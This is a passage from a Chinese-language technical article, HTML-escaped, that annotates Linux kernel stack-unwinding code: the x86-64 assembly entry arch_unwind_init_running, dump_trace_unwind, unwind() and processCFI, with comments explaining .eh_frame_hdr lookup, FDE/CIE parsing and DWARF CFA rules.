	%rdx 参数3：stacktrace_ops
	%rcx 参数4：void *data = NULL
 *&amp;#x2F;
ENTRY(arch_unwind_init_running)
	CFI_STARTPROC
	movq	%r15, R15(%rdi)     &amp;#x2F;* 给参数1赋值：构造本进程的寄存器值 unwind_frame_info-&amp;gt;regs *&amp;#x2F;
	movq	%r14, R14(%rdi)
	xchgq	%rsi, %rdx
	movq	%r13, R13(%rdi)
	movq	%r12, R12(%rdi)
	xorl	%eax, %eax
	movq	%rbp, RBP(%rdi)
	movq	%rbx, RBX(%rdi)
	movq	(%rsp), %r9
	xchgq	%rdx, %rcx			&amp;#x2F;* 交换参数3和参数4 *&amp;#x2F;
	movq	%rax, R11(%rdi)
	movq	%rax, R10(%rdi)
	movq	%rax, R9(%rdi)
	movq	%rax, R8(%rdi)
	movq	%rax, RAX(%rdi)
	movq	%rax, RCX(%rdi)
	movq	%rax, RDX(%rdi)
	movq	%rax, RSI(%rdi)
	movq	%rax, RDI(%rdi)
	movq	%rax, ORIG_RAX(%rdi)
	movq	%r9, RIP(%rdi)
	leaq	8(%rsp), %r9
	movq	$__KERNEL_CS, CS(%rdi)
	movq	%rax, EFLAGS(%rdi)
	movq	%r9, RSP(%rdi)
	movq	$__KERNEL_DS, SS(%rdi)
	jmpq	*%rcx               &amp;#x2F;* 使用构造好的参数来调用dump_trace_unwind() *&amp;#x2F;
	CFI_ENDPROC
END(arch_unwind_init_running)
#endif

↓

int asmlinkage dump_trace_unwind(struct unwind_frame_info *info,
		      const struct stacktrace_ops *ops, void *data)
{
	int n = 0;
#ifdef CONFIG_STACK_UNWIND
	unsigned long sp = UNW_SP(info);

if (arch_unw_user_mode(info))
return -1;

&amp;#x2F;* (1) 循环调用unwind()函数
        获取每一层堆栈的寄存器信息 info-&amp;gt;regs
     *&amp;#x2F;
	while (unwind(info) == 0 &amp;amp;&amp;amp; UNW_PC(info)) {
		n++;

&amp;#x2F;* (1.1) 调用ops-&amp;gt;address来处理每一层的pc值 *&amp;#x2F;
		ops-&amp;gt;address(data, UNW_PC(info), 1);

&amp;#x2F;* (1.2) 是否是用户态判断 *&amp;#x2F;
if (arch_unw_user_mode(info))
			break;

&amp;#x2F;* (1.3) sp合法性判断 *&amp;#x2F;
if ((sp &amp;amp; ~(PAGE_SIZE - 1)) == (UNW_SP(info) &amp;amp; ~(PAGE_SIZE - 1))
&amp;amp;&amp;amp; sp &amp;gt; UNW_SP(info))
			break;
		sp = UNW_SP(info);
	}
#endif
return n;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最核心的函数unwind()，所有unwind的具体算法都在其中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;int unwind(struct unwind_frame_info *frame)
{
#define FRAME_REG(r, t) (((t *)frame)[reg_info[r].offs])
	const u32 *fde = NULL, *cie = NULL;
	const u8 *ptr = NULL, *end = NULL;
	unsigned long pc = UNW_PC(frame) - frame-&amp;gt;call_frame, sp;
	unsigned long startLoc = 0, endLoc = 0, cfa;
	unsigned i;
	signed ptrType = -1;
	uleb128_t retAddrReg = 0;
	const struct unwind_table *table;
	struct unwind_state state;

if (UNW_PC(frame) == 0)
return -EINVAL;

&amp;#x2F;* (1) 根据pc找到对应的unwind table
         查找PC对应的FDE
     *&amp;#x2F;
if ((table = find_table(pc)) != NULL
&amp;amp;&amp;amp; !(table-&amp;gt;size &amp;amp; (sizeof(*fde) - 1))) {
		const u8 *hdr = table-&amp;gt;header;
		unsigned long tableSize;

		smp_rmb();

&amp;#x2F;* (1.1) 根据`.eh_frame_hdr`查找到PC对应的FDE
            `.eh_frame_hdr`的格式
            --------------------------------------------------------------------
            Field               | expression
            --------------------------------------------------------------------
            version             | hdr[0]
            eh_frame_ptr_enc    | hdr[1]
            fde_count_enc       | hdr[2]
table_enc           | hdr[3]
            eh_frame_ptr        | read_pointer(&amp;amp;ptr, end, hdr[1], 0, 0)
            fde_count           | read_pointer(&amp;amp;ptr, end, hdr[2], 0, 0))
binary search table | (2 * tableSize)*fde_count ,(location, address)
            ---------------------------------------------------------------------

            `binary search table`是一张FDE的查询表:
                每张表有fde_count个条目
                每个条目有两个元素(location, address)，每个元素的大小为tableSize
                表以降序来排序
*&amp;#x2F;
if (hdr &amp;amp;&amp;amp; hdr[0] == 1) {

&amp;#x2F;* 根据`table_enc`计算出tableSize大小 *&amp;#x2F;
			switch (hdr[3] &amp;amp; DW_EH_PE_FORM) {
			case DW_EH_PE_native: tableSize = sizeof(unsigned long); break;
			case DW_EH_PE_data2: tableSize = 2; break;
			case DW_EH_PE_data4: tableSize = 4; break;
			case DW_EH_PE_data8: tableSize = 8; break;
default: tableSize = 0; break;
			}
			ptr = hdr + 4;
end = hdr + table-&amp;gt;hdrsz;
if (tableSize
&amp;#x2F;* 确认`eh_frame_ptr`指向的是`.eh_frame` *&amp;#x2F;
&amp;amp;&amp;amp; read_pointer(&amp;amp;ptr, end, hdr[1], 0, 0)
== (unsigned long)table-&amp;gt;address

&amp;#x2F;* 计算`fde_count`存储到i变量，并且进行合法性判断 *&amp;#x2F;
&amp;amp;&amp;amp; (i = read_pointer(&amp;amp;ptr, end, hdr[2], 0, 0)) &amp;gt; 0
&amp;amp;&amp;amp; i == (end - ptr) &amp;#x2F; (2 * tableSize)
&amp;amp;&amp;amp; !((end - ptr) % (2 * tableSize))) {

&amp;#x2F;* 使用二分法在`binary search table`入口表中查询，
                    根据PC找到对应的FDE地址
*&amp;#x2F;
				do {
					const u8 *cur = ptr + (i &amp;#x2F; 2) * (2 * tableSize);

					startLoc = read_pointer(&amp;amp;cur,
					                        cur + tableSize,
					                        hdr[3], 0,
					                        (unsigned long)hdr);
if (pc &amp;lt; startLoc)
						i &amp;#x2F;= 2;
else {
						ptr = cur - tableSize;
						i = (i + 1) &amp;#x2F; 2;
					}
				} while (startLoc &amp;amp;&amp;amp; i &amp;gt; 1);
if (i == 1
&amp;amp;&amp;amp; (startLoc = read_pointer(&amp;amp;ptr,
				                                ptr + tableSize,
				                                hdr[3], 0,
				                                (unsigned long)hdr)) != 0
&amp;amp;&amp;amp; pc &amp;gt;= startLoc)
					fde = (void *)read_pointer(&amp;amp;ptr,
					                           ptr + tableSize,
					                           hdr[3], 0,
					                           (unsigned long)hdr);
			}
		}
if (hdr &amp;amp;&amp;amp; !fde)
			dprintk(3, &amp;quot;Binary lookup for %lx failed.&amp;quot;, pc);

&amp;#x2F;* (1.2) 解析`FDE`，确认PC值是否在FDE的范围中
            --------------------------------------------------------------------
            Field                     | expression
            --------------------------|------------------------------------------
Length	                  | fde
            CIE Pointer	              | (fde + 1)
            PC Begin	              | ptr = (const u8 *)(fde + 2);
                                      | read_pointer(&amp;amp;ptr, (const u8 *)(fde + 1) + *fde, ptrType, 0, 0)
            PC Range	              | read_pointer(&amp;amp;ptr, (const u8 *)(fde + 1) + *fde, ptrType, 0, 0)
            Augmentation Data Length  |
            Augmentation Data	      |
Call Frame Instructions	  |
            Padding	                  |
            ---------------------------------------------------------------------
*&amp;#x2F;
if (fde != NULL) {
&amp;#x2F;* 根据fde中的指针找到对应cie *&amp;#x2F;
			cie = cie_for_fde(fde, table);
			ptr = (const u8 *)(fde + 2);
if (cie != NULL
&amp;amp;&amp;amp; cie != &amp;amp;bad_cie
&amp;amp;&amp;amp; cie != &amp;amp;not_fde
&amp;#x2F;* 得到cie中的指针类型 *&amp;#x2F;
&amp;amp;&amp;amp; (ptrType = fde_pointer_type(cie)) &amp;gt;= 0
&amp;#x2F;* 读出`PC Begin`，确认`.eh_frame_hdr`中的PC基址和FDE中的PC基址相等 *&amp;#x2F;
&amp;amp;&amp;amp; read_pointer(&amp;amp;ptr,
			                    (const u8 *)(fde + 1) + *fde,
			                    ptrType, 0, 0) == startLoc) {
if (!(ptrType &amp;amp; DW_EH_PE_indirect))
					ptrType &amp;amp;= DW_EH_PE_FORM|DW_EH_PE_signed;

&amp;#x2F;* 读出`PC Range`，得到FDE的结束PC值 *&amp;#x2F;
				endLoc = startLoc
+ read_pointer(&amp;amp;ptr,
				                        (const u8 *)(fde + 1) + *fde,
				                        ptrType, 0, 0);
if (pc &amp;gt;= endLoc)
					fde = NULL;
			} else
				fde = NULL;
if (!fde)
				dprintk(1, &amp;quot;Binary lookup result for %lx discarded.&amp;quot;, pc);
		}

&amp;#x2F;* (1.3) 如果从`.eh_frame_hdr`中查找PC对应的FDE失败 (快路径)
                尝试直接从`.eh_frame`中查找PC对应的FDE (慢路径)
*&amp;#x2F;
if (fde == NULL) {
for (fde = table-&amp;gt;address, tableSize = table-&amp;gt;size;
			     cie = NULL, tableSize &amp;gt; sizeof(*fde)
&amp;amp;&amp;amp; tableSize - sizeof(*fde) &amp;gt;= *fde;
			     tableSize -= sizeof(*fde) + *fde,
			     fde += 1 + *fde &amp;#x2F; sizeof(*fde)) {
				cie = cie_for_fde(fde, table);
if (cie == &amp;amp;bad_cie) {
					cie = NULL;
					break;
				}
if (cie == NULL
				    || cie == &amp;amp;not_fde
				    || (ptrType = fde_pointer_type(cie)) &amp;lt; 0)
continue;
				ptr = (const u8 *)(fde + 2);
				startLoc = read_pointer(&amp;amp;ptr,
				                        (const u8 *)(fde + 1) + *fde,
				                        ptrType, 0, 0);
if (!startLoc)
continue;
if (!(ptrType &amp;amp; DW_EH_PE_indirect))
					ptrType &amp;amp;= DW_EH_PE_FORM|DW_EH_PE_signed;
				endLoc = startLoc
+ read_pointer(&amp;amp;ptr,
				                        (const u8 *)(fde + 1) + *fde,
				                        ptrType, 0, 0);
if (pc &amp;gt;= startLoc &amp;amp;&amp;amp; pc &amp;lt; endLoc)
					break;
			}
if (!fde)
				dprintk(3, &amp;quot;Linear lookup for %lx failed.&amp;quot;, pc);
		}
	}

&amp;#x2F;* (2) 解析出`CIE`各字段
        --------------------------------------------------------------------
        Field                     | expression
        --------------------------|------------------------------------------
Length	                  | cie
        CIE ID	                  | (cie + 1)
        Version	                  | ptr = (const u8 *)(cie + 2)
        Augmentation String	      |
Code Alignment Factor	  |
Data Alignment Factor	  |
Return Address Register	  |
        Augmentation Data Length  |
        Augmentation Data	      |
Initial Instructions	  |
        Padding	                  |
        ---------------------------------------------------------------------
        (2.1) 解析出CIE中的`Length`、`CIE ID`、`Version`、`Augmentation String`这几个字段
     *&amp;#x2F;
if (cie != NULL) {
		memset(&amp;amp;state, 0, sizeof(state));
		state.cieEnd = ptr; &amp;#x2F;* keep here temporarily *&amp;#x2F;
		ptr = (const u8 *)(cie + 2);
end = (const u8 *)(cie + 1) + *cie;
		frame-&amp;gt;call_frame = 1;
&amp;#x2F;* 解析出`Version` *&amp;#x2F;
if ((state.version = *ptr) != 1)
			cie = NULL; &amp;#x2F;* unsupported version *&amp;#x2F;
&amp;#x2F;* 解析出`Augmentation String` *&amp;#x2F;
else if (*++ptr) {
&amp;#x2F;* check if augmentation size is first (and thus present) *&amp;#x2F;
if (*ptr == &amp;#x27;z&amp;#x27;) {
				while (++ptr &amp;lt; end &amp;amp;&amp;amp; *ptr) {
					switch (*ptr) {
&amp;#x2F;* check for ignorable (or already handled)
* nul-terminated augmentation string *&amp;#x2F;
					case &amp;#x27;L&amp;#x27;:
					case &amp;#x27;P&amp;#x27;:
					case &amp;#x27;R&amp;#x27;:
continue;
					case &amp;#x27;S&amp;#x27;:
						frame-&amp;gt;call_frame = 0;
continue;
default:
						break;
					}
					break;
				}
			}
if (ptr &amp;gt;= end || *ptr)
				cie = NULL;
		}
if (!cie)
			dprintk(1, &amp;quot;CIE unusable (%p,%p).&amp;quot;, ptr, end);
++ptr;
	}

&amp;#x2F;* (2.2) 解析出CIE中的`Code Alignment Factor`、`Data Alignment Factor`、
        `Return Address Register`、`Augmentation Data Length`、`Augmentation Data`这几个字段
     *&amp;#x2F;
if (cie != NULL) {
&amp;#x2F;* get code aligment factor *&amp;#x2F;
&amp;#x2F;* 解析出`Code Alignment Factor` *&amp;#x2F;
		state.codeAlign = get_uleb128(&amp;amp;ptr, end);

&amp;#x2F;* get data aligment factor *&amp;#x2F;
&amp;#x2F;* 解析出`Data Alignment Factor` *&amp;#x2F;
		state.dataAlign = get_sleb128(&amp;amp;ptr, end);
if (state.codeAlign == 0 || state.dataAlign == 0 || ptr &amp;gt;= end)
			cie = NULL;
else if (UNW_PC(frame) % state.codeAlign
		         || UNW_SP(frame) % sleb128abs(state.dataAlign)) {
			dprintk(1, &amp;quot;Input pointer(s) misaligned (%lx,%lx).&amp;quot;,
			        UNW_PC(frame), UNW_SP(frame));
return -EPERM;
		} else {
&amp;#x2F;* 解析出`Return Address Register` *&amp;#x2F;
			retAddrReg = state.version &amp;lt;= 1 ? *ptr++ : get_uleb128(&amp;amp;ptr, end);

&amp;#x2F;* skip augmentation *&amp;#x2F;
&amp;#x2F;* 解析出`Augmentation Data Length` *&amp;#x2F;
if (((const char *)(cie + 2))[1] == &amp;#x27;z&amp;#x27;) {
				uleb128_t augSize = get_uleb128(&amp;amp;ptr, end);

				ptr += augSize;
			}
if (ptr &amp;gt; end
			    || retAddrReg &amp;gt;= ARRAY_SIZE(reg_info)
			    || REG_INVALID(retAddrReg)
			    || reg_info[retAddrReg].width != sizeof(unsigned long))
				cie = NULL;
		}
if (!cie)
			dprintk(1, &amp;quot;CIE validation failed (%p,%p).&amp;quot;, ptr, end);
	}

&amp;#x2F;* (2.3) 解析出CIE中的`Initial Instructions`位置
			 和FDE中的`Call Frame Instructions`位置
     *&amp;#x2F;
if (cie != NULL) {
		state.cieStart = ptr;                   &amp;#x2F;* state.cieStart: CIE的`Initial Instructions`开始 *&amp;#x2F;
		ptr = state.cieEnd;
		state.cieEnd = end;                     &amp;#x2F;* state.cieEnd: CIE的`Initial Instructions`结束 *&amp;#x2F;
end = (const u8 *)(fde + 1) + *fde;     &amp;#x2F;* end: FDE的`Call Frame Instructions`结束 *&amp;#x2F;
&amp;#x2F;* skip augmentation *&amp;#x2F;
if (((const char *)(cie + 2))[1] == &amp;#x27;z&amp;#x27;) {
			uleb128_t augSize = get_uleb128(&amp;amp;ptr, end);

if ((ptr += augSize) &amp;gt; end)         &amp;#x2F;* ptr: FDE的`Call Frame Instructions`开始 *&amp;#x2F;
				fde = NULL;
		}
if (!fde)
			dprintk(1, &amp;quot;FDE validation failed (%p,%p).&amp;quot;, ptr, end);
	}

&amp;#x2F;* (3) 如果CIE和FDE任一为空，出错返回 *&amp;#x2F;
if (cie == NULL || fde == NULL) {
#ifdef CONFIG_FRAME_POINTER
		unsigned long top = TSK_STACK_TOP(frame-&amp;gt;task);
		unsigned long bottom = STACK_BOTTOM(frame-&amp;gt;task);
		unsigned long fp = UNW_FP(frame);
		unsigned long sp = UNW_SP(frame);
		unsigned long link;

if ((sp | fp) &amp;amp; (sizeof(unsigned long) - 1))
return -EPERM;

# if FRAME_RETADDR_OFFSET &amp;lt; 0
if (!(sp &amp;lt; top &amp;amp;&amp;amp; fp &amp;lt;= sp &amp;amp;&amp;amp; bottom &amp;lt; fp))
# else
if (!(sp &amp;gt; top &amp;amp;&amp;amp; fp &amp;gt;= sp &amp;amp;&amp;amp; bottom &amp;gt; fp))
# endif
return -ENXIO;

if (probe_kernel_address(fp + FRAME_LINK_OFFSET, link))
return -ENXIO;

# if FRAME_RETADDR_OFFSET &amp;lt; 0
if (!(link &amp;gt; bottom &amp;amp;&amp;amp; link &amp;lt; fp))
# else
if (!(link &amp;lt; bottom &amp;amp;&amp;amp; link &amp;gt; fp))
# endif
return -ENXIO;

if (link &amp;amp; (sizeof(link) - 1))
return -ENXIO;

		fp += FRAME_RETADDR_OFFSET;
if (probe_kernel_address(fp, UNW_PC(frame)))
return -ENXIO;

&amp;#x2F;* Ok, we can use it *&amp;#x2F;
# if FRAME_RETADDR_OFFSET &amp;lt; 0
		UNW_SP(frame) = fp - sizeof(UNW_PC(frame));
# else
		UNW_SP(frame) = fp + sizeof(UNW_PC(frame));
# endif
		UNW_FP(frame) = link;
return 0;
#else
return -ENXIO;
#endif
	}

&amp;#x2F;* (4) 解析CIE的`Initial Instructions`中的cfa指令 和
            FDE的`Call Frame Instructions`中的cfa指令
			解析结果放到state数据结构中
     *&amp;#x2F;
	state.org = startLoc;
	memcpy(&amp;amp;state.cfa, &amp;amp;badCFA, sizeof(state.cfa));
&amp;#x2F;* process instructions *&amp;#x2F;
if (!processCFI(ptr, end, pc, ptrType, &amp;amp;state)
	    || state.loc &amp;gt; endLoc
	    || state.regs[retAddrReg].where == Nowhere
	    || state.cfa.reg &amp;gt;= ARRAY_SIZE(reg_info)
	    || reg_info[state.cfa.reg].width != sizeof(unsigned long)
	    || FRAME_REG(state.cfa.reg, unsigned long) % sizeof(unsigned long)
	    || state.cfa.offs % sizeof(unsigned long)) {
		dprintk(1, &amp;quot;Unusable unwind info (%p,%p).&amp;quot;, ptr, end);
return -EIO;
	}

&amp;#x2F;* update frame *&amp;#x2F;
&amp;#x2F;* (5) 信号相关的帧处理 *&amp;#x2F;
#ifndef CONFIG_AS_CFI_SIGNAL_FRAME
if (frame-&amp;gt;call_frame
&amp;amp;&amp;amp; !UNW_DEFAULT_RA(state.regs[retAddrReg], state.dataAlign))
		frame-&amp;gt;call_frame = 0;
#endif

&amp;#x2F;* (6) 首先根据指令解析结果，计算cfa的值：
         CFA = register + offset
     *&amp;#x2F;
	cfa = FRAME_REG(state.cfa.reg, unsigned long) + state.cfa.offs;
	startLoc = min((unsigned long)UNW_SP(frame), cfa);
	endLoc = max((unsigned long)UNW_SP(frame), cfa);
if (STACK_LIMIT(startLoc) != STACK_LIMIT(endLoc)) {
		startLoc = min(STACK_LIMIT(cfa), cfa);
		endLoc = max(STACK_LIMIT(cfa), cfa);
	}
#ifndef CONFIG_64BIT
# define CASES CASE(8); CASE(16); CASE(32)
#else
# define CASES CASE(8); CASE(16); CASE(32); CASE(64)
#endif
	pc = UNW_PC(frame);
	sp = UNW_SP(frame);

&amp;#x2F;* (7) 再根据指令解析结果更新寄存器集的值

       (7.1) 第1遍轮询解析
            Register类型：state.regs[i].value = FRAME_REG(state.regs[i].value)
     *&amp;#x2F;
for (i = 0; i &amp;lt; ARRAY_SIZE(state.regs); ++i) {
if (REG_INVALID(i)) {
if (state.regs[i].where == Nowhere)
continue;
			dprintk(1, &amp;quot;Cannot restore register %u (%d).&amp;quot;,
			        i, state.regs[i].where);
return -EIO;
		}
		switch (state.regs[i].where) {
default:
			break;
		case Register:
if (state.regs[i].value &amp;gt;= ARRAY_SIZE(reg_info)
			    || REG_INVALID(state.regs[i].value)
			    || reg_info[i].width &amp;gt; reg_info[state.regs[i].value].width) {
				dprintk(1, &amp;quot;Cannot restore register %u from register %lu.&amp;quot;,
				        i, state.regs[i].value);
return -EIO;
			}
			switch (reg_info[state.regs[i].value].width) {
#define CASE(n) \
			case sizeof(u##n): \
				state.regs[i].value = FRAME_REG(state.regs[i].value, \
				                                const u##n); \
				break
			CASES;
#undef CASE
default:
				dprintk(1, &amp;quot;Unsupported register size %u (%lu).&amp;quot;,
				        reg_info[state.regs[i].value].width,
				        state.regs[i].value);
return -EIO;
			}
			break;
		}
	}

&amp;#x2F;* (7.2) 第2遍轮询解析
     *&amp;#x2F;
for (i = 0; i &amp;lt; ARRAY_SIZE(state.regs); ++i) {
if (REG_INVALID(i))
continue;
		switch (state.regs[i].where) {

&amp;#x2F;* Nowhere类型：UNW_SP(frame) = cfa; *&amp;#x2F;
		case Nowhere:
if (reg_info[i].width != sizeof(UNW_SP(frame))
			    || &amp;amp;FRAME_REG(i, __typeof__(UNW_SP(frame)))
			       != &amp;amp;UNW_SP(frame))
continue;
			UNW_SP(frame) = cfa;
			break;

&amp;#x2F;* Register类型：把第一轮计算出来的寄存器的值state.regs[i].value，
						更新完到FRAME_REG(i)结构中
*&amp;#x2F;
		case Register:
			switch (reg_info[i].width) {
#define CASE(n) case sizeof(u##n): \
				FRAME_REG(i, u##n) = state.regs[i].value; \
				break
			CASES;
#undef CASE
default:
				dprintk(1, &amp;quot;Unsupported register size %u (%u).&amp;quot;,
				        reg_info[i].width, i);
return -EIO;
			}
			break;

&amp;#x2F;* Value类型：
			reg =  CFA +  (factored offset * data_alignment_factor)
*&amp;#x2F;
		case Value:
if (reg_info[i].width != sizeof(unsigned long)) {
				dprintk(1, &amp;quot;Unsupported value size %u (%u).&amp;quot;,
				        reg_info[i].width, i);
return -EIO;
			}
			FRAME_REG(i, unsigned long) = cfa + state.regs[i].value
* state.dataAlign;
			break;

&amp;#x2F;* Memory类型：
			reg =  *(CFA +  (factored offset * data_alignment_factor))
*&amp;#x2F;
		case Memory: {
				unsigned long addr = cfa + state.regs[i].value
* state.dataAlign;

if ((state.regs[i].value * state.dataAlign)
				    % sizeof(unsigned long)
				    || addr &amp;lt; startLoc
				    || addr + sizeof(unsigned long) &amp;lt; addr
				    || addr + sizeof(unsigned long) &amp;gt; endLoc) {
					dprintk(1, &amp;quot;Bad memory location %lx (%lx).&amp;quot;,
					        addr, state.regs[i].value);
return -EIO;
				}
				switch (reg_info[i].width) {
#define CASE(n)			case sizeof(u##n): \
if (probe_kernel_address(addr, \
								 FRAME_REG(i, u##n))) \
return -EFAULT; \
					break
				CASES;
#undef CASE
default:
					dprintk(1, &amp;quot;Unsupported memory size %u (%u).&amp;quot;,
					        reg_info[i].width, i);
return -EIO;
				}
			}
			break;
		}
	}

if (UNW_PC(frame) % state.codeAlign
	    || UNW_SP(frame) % sleb128abs(state.dataAlign)) {
		dprintk(1, &amp;quot;Output pointer(s) misaligned (%lx,%lx).&amp;quot;,
		        UNW_PC(frame), UNW_SP(frame));
return -EIO;
	}
if (pc == UNW_PC(frame) &amp;amp;&amp;amp; sp == UNW_SP(frame)) {
		dprintk(1, &amp;quot;No progress (%lx,%lx).&amp;quot;, pc, sp);
return -EIO;
	}

return 0;
#undef CASES
#undef FRAME_REG
}

↓

static int processCFI(const u8 *start,
                      const u8 *end,
                      unsigned long targetLoc,
                      signed ptrType,
                      struct unwind_state *state)
{
	union {
		const u8 *p8;
		const u16 *p16;
		const u32 *p32;
	} ptr;
	int result = 1;

&amp;#x2F;* (4.1) 先递归的解析CIE中的cfa指令 *&amp;#x2F;
if (start != state-&amp;gt;cieStart) {
		state-&amp;gt;loc = state-&amp;gt;org;
		result = processCFI(state-&amp;gt;cieStart, state-&amp;gt;cieEnd, 0, ptrType, state);
if (targetLoc == 0 &amp;amp;&amp;amp; state-&amp;gt;label == NULL)
return result;
	}

&amp;#x2F;* (4.2) 再解析FDE中的cfa指令
		这段指令解析请参考本文的`2.2 Call Frame Instructions`一节，就非常好理解了
*&amp;#x2F;
for (ptr.p8 = start; result &amp;amp;&amp;amp; ptr.p8 &amp;lt; end; ) {
		switch (*ptr.p8 &amp;gt;&amp;gt; 6) {
			uleb128_t value;

		case 0:
			switch (*ptr.p8++) {

&amp;#x2F;* (4.2.1) 更新PC位置到：state-&amp;gt;loc *&amp;#x2F;
			case DW_CFA_nop:
				break;
			case DW_CFA_set_loc:
&amp;#x2F;* 计算：Location = Address *&amp;#x2F;
				state-&amp;gt;loc = read_pointer(&amp;amp;ptr.p8, end, ptrType, 0, 0);
if (state-&amp;gt;loc == 0)
					result = 0;
				break;
			case DW_CFA_advance_loc1:
&amp;#x2F;* 计算：Location += (delta * code_alignment_factor) *&amp;#x2F;
				result = ptr.p8 &amp;lt; end &amp;amp;&amp;amp; advance_loc(*ptr.p8++, state);
				break;
			case DW_CFA_advance_loc2:
&amp;#x2F;* 计算：Location += (delta * code_alignment_factor) *&amp;#x2F;
				result = ptr.p8 &amp;lt;= end + 2
&amp;amp;&amp;amp; advance_loc(*ptr.p16++, state);
				break;
			case DW_CFA_advance_loc4:
&amp;#x2F;* 计算：Location += (delta * code_alignment_factor) *&amp;#x2F;
				result = ptr.p8 &amp;lt;= end + 4
&amp;amp;&amp;amp; advance_loc(*ptr.p32++, state);
				break;

&amp;#x2F;* (4.2.2) 更新通用寄存器的值：state-&amp;gt;regs[reg].where&amp;#x2F;value *&amp;#x2F;
			case DW_CFA_offset_extended:
&amp;#x2F;*  计算 rule：offset(N)
					reg num = *(CFA + (factored offset * data_alignment_factor))
*&amp;#x2F;
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value, Memory, get_uleb128(&amp;amp;ptr.p8, end), state);
				break;
			case DW_CFA_val_offset:
&amp;#x2F;*  计算 rule：val_offset(N)
					reg num = CFA + (factored offset * data_alignment_factor)
*&amp;#x2F;
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value, Value, get_uleb128(&amp;amp;ptr.p8, end), state);
				break;
			case DW_CFA_offset_extended_sf:
&amp;#x2F;*  计算 rule：offset(N)
					reg num = *(CFA + (factored offset * data_alignment_factor))
*&amp;#x2F;
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value, Memory, get_sleb128(&amp;amp;ptr.p8, end), state);
				break;
			case DW_CFA_val_offset_sf:
&amp;#x2F;*  计算 rule：val_offset(N)
					reg num = CFA + (factored offset * data_alignment_factor)
*&amp;#x2F;
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value, Value, get_sleb128(&amp;amp;ptr.p8, end), state);
				break;
			case DW_CFA_restore_extended:
			case DW_CFA_undefined:
			case DW_CFA_same_value:
set_rule(get_uleb128(&amp;amp;ptr.p8, end), Nowhere, 0, state);
				break;
			case DW_CFA_register:
&amp;#x2F;*  计算 rule：register(R)
					reg num = R (second operands)
*&amp;#x2F;
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value,
				         Register,
get_uleb128(&amp;amp;ptr.p8, end), state);
				break;

&amp;#x2F;* (4.2.3) 寄存器集的存栈和恢复 *&amp;#x2F;
			case DW_CFA_remember_state:
&amp;#x2F;*  本次是寄存器集恢复动作：重新解析指令一直恢复到label处 *&amp;#x2F;
if (ptr.p8 == state-&amp;gt;label) {
					state-&amp;gt;label = NULL;
return 1;
				}
if (state-&amp;gt;stackDepth &amp;gt;= MAX_STACK_DEPTH) {
					dprintk(1, &amp;quot;State stack overflow (%p,%p).&amp;quot;, ptr.p8, end);
return 0;
				}
&amp;#x2F;* 本次是寄存器集存栈动作：把当前location存入到堆栈中 *&amp;#x2F;
				state-&amp;gt;stack[state-&amp;gt;stackDepth++] = ptr.p8;
				break;
			case DW_CFA_restore_state:
if (state-&amp;gt;stackDepth) {
					const uleb128_t loc = state-&amp;gt;loc;
					const u8 *label = state-&amp;gt;label;

&amp;#x2F;* 碰到需要恢复寄存器的情况：
1、从堆栈中弹出需要恢复到哪一步的label
2、把cfa和regs寄存器集的值都设置成初始状态
3、从头重新开始解析，直到label处为止
4、寄存器集就恢复到了之前`DW_CFA_remember_state`指令保存的状态
*&amp;#x2F;
					state-&amp;gt;label = state-&amp;gt;stack[state-&amp;gt;stackDepth - 1];
					memcpy(&amp;amp;state-&amp;gt;cfa, &amp;amp;badCFA, sizeof(state-&amp;gt;cfa));
					memset(state-&amp;gt;regs, 0, sizeof(state-&amp;gt;regs));
					state-&amp;gt;stackDepth = 0;
					result = processCFI(start, end, 0, ptrType, state);
					state-&amp;gt;loc = loc;
					state-&amp;gt;label = label;
				} else {
					dprintk(1, &amp;quot;State stack underflow (%p,%p).&amp;quot;, ptr.p8, end);
return 0;
				}
				break;

&amp;#x2F;* (4.2.4) cfa值的更新：state-&amp;gt;cfa
				更新cfa计算公式的两个变量register和offset
				通常情况下：CFA = regitser + offset
*&amp;#x2F;
			case DW_CFA_def_cfa:
&amp;#x2F;* 同时更新register和offset：
					register = new register
					offset = new offset
*&amp;#x2F;
				state-&amp;gt;cfa.reg = get_uleb128(&amp;amp;ptr.p8, end);
&amp;#x2F;*nobreak*&amp;#x2F;
			case DW_CFA_def_cfa_offset:
&amp;#x2F;* 只更新offset：
					offset = new offset
*&amp;#x2F;
				state-&amp;gt;cfa.offs = get_uleb128(&amp;amp;ptr.p8, end);
				break;
			case DW_CFA_def_cfa_sf:
&amp;#x2F;* 同时更新register和offset：
					register = new register
					offset = (new offset * data_alignment_factor)
*&amp;#x2F;
				state-&amp;gt;cfa.reg = get_uleb128(&amp;amp;ptr.p8, end);
&amp;#x2F;*nobreak*&amp;#x2F;
			case DW_CFA_def_cfa_offset_sf:
&amp;#x2F;* 只更新offset：
					offset = (new offset * data_alignment_factor)
*&amp;#x2F;
				state-&amp;gt;cfa.offs = get_sleb128(&amp;amp;ptr.p8, end)
* state-&amp;gt;dataAlign;
				break;
			case DW_CFA_def_cfa_register:
&amp;#x2F;* 只更新register：
					register = new register
*&amp;#x2F;
				state-&amp;gt;cfa.reg = get_uleb128(&amp;amp;ptr.p8, end);
				break;

&amp;#x2F;* (4.2.5) 对 DWARF expression的处理，没看明白  *&amp;#x2F;
&amp;#x2F;*todo case DW_CFA_def_cfa_expression: *&amp;#x2F;
&amp;#x2F;*todo case DW_CFA_expression: *&amp;#x2F;
&amp;#x2F;*todo case DW_CFA_val_expression: *&amp;#x2F;
			case DW_CFA_GNU_args_size:
get_uleb128(&amp;amp;ptr.p8, end);
				break;
			case DW_CFA_GNU_negative_offset_extended:
value = get_uleb128(&amp;amp;ptr.p8, end);
set_rule(value,
				         Memory,
				         (uleb128_t)0 - get_uleb128(&amp;amp;ptr.p8, end), state);
				break;
			case DW_CFA_GNU_window_save:
default:
				dprintk(1, &amp;quot;Unrecognized CFI op %02X (%p,%p).&amp;quot;, ptr.p8[-1], ptr.p8 - 1, end);
				result = 0;
				break;
			}
			break;

&amp;#x2F;* DW_CFA_advance_loc *&amp;#x2F;
		case 1:
&amp;#x2F;* 计算：Location += (delta * code_alignment_factor) *&amp;#x2F;
			result = advance_loc(*ptr.p8++ &amp;amp; 0x3f, state);
